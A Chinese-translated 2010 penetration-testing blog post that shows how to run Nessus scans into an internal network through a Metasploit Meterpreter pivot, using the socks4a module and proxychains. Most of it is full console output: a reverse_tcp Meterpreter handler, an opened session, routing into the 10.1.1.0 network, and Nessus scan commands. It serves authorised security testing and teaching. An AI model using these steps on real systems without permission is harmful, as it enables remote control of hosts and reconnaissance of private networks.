Nessus通过SOCKS通过Meterpreter
2010年10月24日 星期日
今年早些时候,Mark Baggett曾发表过一篇关于通过Meterpreter运行Nessus扫描的文章。该方法需要在受控机器上安装SSH服务器,然后将其作为SOCKS4代理转发扫描流量到目标机器(《通过Metasploit Meterpreter会话进行Nessus扫描》)。这是个很棒的想法,但我尽量避免在客户机器上安装工具,因此从未在测试中实践过。
最近,Zate Berg将Nessus插件添加到Metasploit中,允许用户从Metasploit命令行控制Nessus服务器。未经深入思考,我的第一反应是“太好了,现在可以通过Meterpreter pivot进行扫描了”。但仔细考虑并阅读Carlos的文章《Metasploit的新Nessus插件》后,我意识到Nessus服务器仍然运行在攻击机器上,因此无法访问隧道。
在多个邮件列表提问后,egypt向我推荐了auxiliary/server/socks4a模块,该模块可以实现与SSH服务器相同的功能,而无需在受控机器上安装任何东西。经过一些尝试、部分成功的扫描和更多列表提问后,我成功通过Meterpreter pivot完成了扫描。关键似乎在于需要运行至少Ruby 1.9(我运行的是1.9.1),而不是最初尝试的1.8.7;没有它,代理似乎会拥堵并锁定。
以下是我完成扫描所经历的步骤。本次测试中的角色包括:
- 192.168.0.2 - 攻击机器
- 10.1.1.5 - 受控机器
- 10.1.1.2 - 需要扫描的机器
从192网络到10网络没有正常路由,10.1.1.1的路由器阻止了这一点。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
robin@attacker metasploit $ ./msfconsole
___________
< DigiNinja >
-----------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
=[ metasploit v3.5.1-dev [core:3.5 api:1.0]
+ -- --=[ 613 exploits - 309 auxiliary
+ -- --=[ 215 payloads - 27 encoders - 8 nops
=[ svn r10774 updated today (2010.10.21)
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lport 31337
lport => 31337
msf exploit(handler) > set lhost 192.168.0.2
lhost => 192.168.0.2
msf exploit(handler) > exploit -j
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.0.2:31337
[*] Starting the payload handler...
msf exploit(handler) > [*] Sending stage (749056 bytes) to 192.168.0.80
[*] Meterpreter session 1 opened (192.168.0.2:31337 -> 192.168.0.80:24592) at 2010-10-22 10:38:18 +0100
msf exploit(handler) > route add 10.1.1.0 255.255.255.0 1
msf exploit(handler) > use auxiliary/server/socks4a
msf auxiliary(socks4a) > run
[*] Auxiliary module execution completed
[*] Starting the socks4a proxy server
msf auxiliary(socks4a) >
|
检查隧道是否正常工作。我不懂SMB,但如果你这样做并看到OK,则表示连接已建立,你可以输入一些垃圾并按几次回车,另一端会很快断开连接。选择一个你知道或期望在目标机器上开放的端口,SMB通常是Windows机器的好选择。
1
2
3
4
|
root@attacker sbin # proxychains nc 10.1.1.2 445
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:1080-<><>-10.1.1.2:445-<><>-OK
dummy...
|
在使用proxychains启动Nessus之前,你需要修改proxychains配置(/etc/proxychains.conf)。在我的默认配置中,我需要在末尾添加以下行:
然后启动Nessus:
1
|
root@attacker sbin # proxychains ./nessus-service -D
|
扫描需要很长时间,使用默认的Nessus策略扫描受控机器花了我4242秒,将近一小时十五分钟,因此我为此类扫描创建了一个最小策略。首先我们加载nessus模块,连接到它,检查策略,最后启动扫描。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
msf auxiliary(socks4a) > load nessus
[*] Nessus Bridge for Nessus 4.2.x
[+] Type nessus_help for a command listing
[*] Successfully loaded plugin: nessus
msf auxiliary(socks4a) > nessus_connect robin@localhost
[+] Password:
...
[*] Connecting to https://localhost:8834/ as robin
[*] Authenticated
msf auxiliary(socks4a) > nessus_policy_list
[+] Nessus Policy List
ID Name Comments
-- ---- --------
4 Minimal MS
3 noping
2 Web
1 All
msf auxiliary(socks4a) > nessus_scan_new 4 "Quick Windows" 10.1.1.2
[*] Creating scan from policy number 4, called "Quick Windows" and scanning 10.1.1.2
[*] Scan started. uid is 60625093-5e0c-74a0-bc04-a35f19ffa65adb108fa286291aee
msf auxiliary(socks4a) > nessus_scan_status
[+] Running Scans
Scan ID Name Owner Started Status Current Hosts Total Hosts
------- ---- ----- ------- ------ ------------- -----------
60625093-5e0c-74a0-bc04-a35f19ffa65adb108fa286291aee Quick Windows robin 12:39 Oct 22 2010 running 0 1
[*] You can:
[+] Import Nessus report to database : nessus_report_get <reportid>
[+] Pause a nessus scan : nessus_scan_pause <scanid>
|
现在只需等待很长时间。你可以使用nessus_scan_status检查状态:
1
2
3
4
5
6
|
msf auxiliary(socks4a) > nessus_scan_status
[+] Running Scans
Scan ID Name Owner Started Status Current Hosts Total Hosts
------- ---- ----- ------- ------ ------------- -----------
60625093-5e0c-74a0-bc04-a35f19ffa65adb108fa286291aee Quick Windows robin 12:39 Oct 22 2010 running 0 1
|
当扫描最终完成时,你可以检查结果并将其加载到Metasploit数据库中:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
msf auxiliary(socks4a) > db_connect msf.db
[-] It may work, but don't count on it
[*] Creating a new database file...
[*] Successfully connected to the database
[*] File: msf.db
msf auxiliary(socks4a) > nessus_report_get 60625093-5e0c-74a0-bc04-a35f19ffa65adb108fa286291aee
[*] importing 60625093-5e0c-74a0-bc04-a35f19ffa65adb108fa286291aee
[*] 10.1.1.2 Done!
[+] Done
msf auxiliary(socks4a) > db_hosts
Hosts
=====
address address6 arch comm comments created_at info mac name os_flavor os_lang os_name os_sp purpose state updated_at svcs vulns workspace
------- -------- ---- ---- -------- ---------- ---- --- ---- --------- ------- ------- ----- ------- ----- ---------- ---- ----- ---------
10.1.1.2 2010-10-22 14:09:22 UTC 00:13:3b:04:03:52 CORP_DC alive 2010-10-22 14:09:22 UTC 5 6 default
|
就这样,我们通过Meterpreter pivot完成了完整的Nessus扫描,所有操作都在受控机器的内存中完成。这是一次非常整洁的攻击。